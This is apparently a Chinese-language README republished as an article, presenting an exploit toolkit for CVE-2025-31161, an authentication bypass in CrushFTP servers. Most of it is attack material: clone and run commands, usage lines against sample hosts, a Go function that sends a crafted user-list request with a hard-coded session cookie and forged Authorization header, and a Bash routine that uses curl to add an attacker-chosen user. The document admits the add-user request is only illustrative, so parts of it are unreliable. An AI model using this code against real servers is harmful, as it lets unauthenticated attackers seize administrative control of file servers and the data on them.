
License
这是一个针对 CrushFTP 中发现的 CVE-2025-31161 身份验证绕过漏洞的专业级利用工具包。该漏洞允许未经身份验证的远程攻击者在目标系统上创建新的管理员账户,从而完全控制 CrushFTP 服务器。本项目提供 Go 和 Bash 两种语言的实现,旨在为安全研究人员、渗透测试人员和 CTF 参与者提供一个高效、可靠的漏洞验证与利用工具。
curl 工具。# 1. 克隆仓库
git clone https://github.com/your-username/CrushFTP-auth-bypass-CVE-2025-31161.git
cd CrushFTP-auth-bypass-CVE-2025-31161
# 2. (可选) 编译 Go 代码为二进制文件
go build -o cve-2025-31161 cve-2025-31161.go
# 3. 直接运行
go run cve-2025-31161.go -hBash 脚本无需编译,只需下载并赋予执行权限即可。
# 1. 克隆仓库并进入目录
git clone https://github.com/your-username/CrushFTP-auth-bypass-CVE-2025-31161.git
cd CrushFTP-auth-bypass-CVE-2025-31161
# 2. 赋予脚本执行权限
chmod +x cve-2025-31161.sh
# 3. 运行脚本
./cve-2025-31161.sh -hcve-2025-31161.go 的代码结构表明,它会自动执行漏洞检测逻辑。虽然 Go 版本未直接提供单独的检测命令,但通过其 checkUserFetch 函数可知,当您尝试任何操作(如 -lu)时,漏洞检测将自动运行。
# 枚举目标 192.168.1.100 上的用户,如果目标存在漏洞
./cve-2025-31161.sh -t 192.168.1.100 -p 8080 -lu# 检测目标是否存在漏洞,如果存在,则交互式地提示输入新用户名和密码
./cve-2025-31161.sh -t 192.168.1.100 -au执行上述命令后,脚本将提示您输入新用户名和密码。
根据 cve-2025-31161.go 的代码结构,它接受类似的参数:
# 指定目标、端口和用户,并进行交互式创建
./cve-2025-31161 -t 192.168.1.100 -p 443 -tu crushadmin -au短参数 | 长参数 | 描述 | 必需 |
|---|---|---|---|
|
| 目标 CrushFTP 服务器的主机名或 IP 地址 | 是 |
|
| 目标端口 (默认: | 否 |
|
| 目标用户(在某些利用场景中可能需要,默认: | 否 |
|
| 仅列出目标服务器上的用户 | 否 |
|
| 在目标服务器上添加一个新用户(将提示输入用户名和密码) | 否 |
|
| 显示帮助信息 | 否 |
本项目是一个命令行工具,没有公开的 API 供其他程序调用。它的核心逻辑围绕发送特制的 HTTP 请求到 CrushFTP 的 /webinterface/function/ 端点,并操作 command=getUserList 等参数,利用硬编码的 Cookie 和 Authorization 头来绕过身份验证。
以下是 Go 版本中用于检测漏洞和枚举用户的核心函数。它通过构造特定的 HTTP 请求,并检查返回的状态码和响应体来判断目标是否易受攻击。
// checkUserFetch 向目标发送特制的用户列表请求,以检测漏洞是否存在。
func checkUserFetch(targetHost string, port int) bool {
// 构造利用 URL
userListURL := fmt.Sprintf("http://%s:%d/webinterface/function/?command=getUserList&serverGroup=MainUsers&c2f=wIwV", targetHost, port)
client := &http.Client{
Timeout: 10 * time.Second,
}
req, err := http.NewRequest("GET", userListURL, nil)
if err != nil {
fmt.Println(" [-] Failed to create request")
return false
}
// 硬编码的 Cookie 和 Authorization 头,这是漏洞利用的关键
req.Header.Set("Cookie", "CrushAuth=1758816957058_vuiPVygdYnM1kzYGOs9d3tzIbFWIwV")
req.Header.Set("Authorization", "AWS4-HMAC-SHA256 Credential=crushadmin/")
fmt.Println("[+] Testing user fetch capability...")
resp, err := client.Do(req)
if err != nil {
fmt.Printf(" [-] User fetch failed - Error: %v\n", err)
fmt.Println(" [-] Version not vulnerable")
return false
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
// 验证漏洞:如果状态码为200且响应体包含成功标志,则目标存在漏洞
if resp.StatusCode == 200 && strings.Contains(string(body), "<response_status>OK</response_status>") {
fmt.Println(" [+] User fetch successful - Version appears vulnerable")
return true
}
fmt.Println(" [-] User fetch failed - Version not vulnerable")
return false
}以下是 Bash 版本中用于交互式创建用户的代码段。它在确认漏洞存在后,提示用户输入凭据,并构造最终的攻击请求。
# ... (前续代码,包含漏洞检测函数) ...
# 主逻辑:处理 --add-user 参数
if [ "$ADD_USER" = true ]; then
# 在尝试添加用户前,先确认目标是否存在漏洞
if check_user_fetch "$TARGET_HOST" "$PORT"; then
echo "[+] Target appears vulnerable. Proceeding with user addition."
# 交互式获取新用户名和密码
read -p "Enter new username: " NEW_USER
read -s -p "Enter password: " PASSWORD
echo
# 构造添加用户的 URL (具体参数可能有所不同)
# 此处仅为示例,实际利用需要参考完整的漏洞分析
local url="http://${host}:${port}/webinterface/function/?command=addUser&username=${NEW_USER}&password=${PASSWORD}&c2f=wIwV"
echo "[+] Attempting to add user ${NEW_USER}..."
# 使用 curl 发送最终的攻击请求
response=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Cookie: CrushAuth=1758816957058_vuiPVygdYnM1kzYGOs9d3tzIbFWIwV" \
-H "Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/" \
"$url")
if [ "$response" == "200" ]; then
echo "[+] User ${NEW_USER} added successfully!"
else
echo "[-] Failed to add user. HTTP response code: ${response}"
fi
else
echo "[-] Target is not vulnerable. Exiting."
exit 1
fi
fi
```FINISHED6HFtX5dABrKlqXeO5PUv/zs9YMFGbXWU3kXLGDSmJbza760JI5tooJ4/qUK3eCQAtzxZyT4KengfDdbro186hw==
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。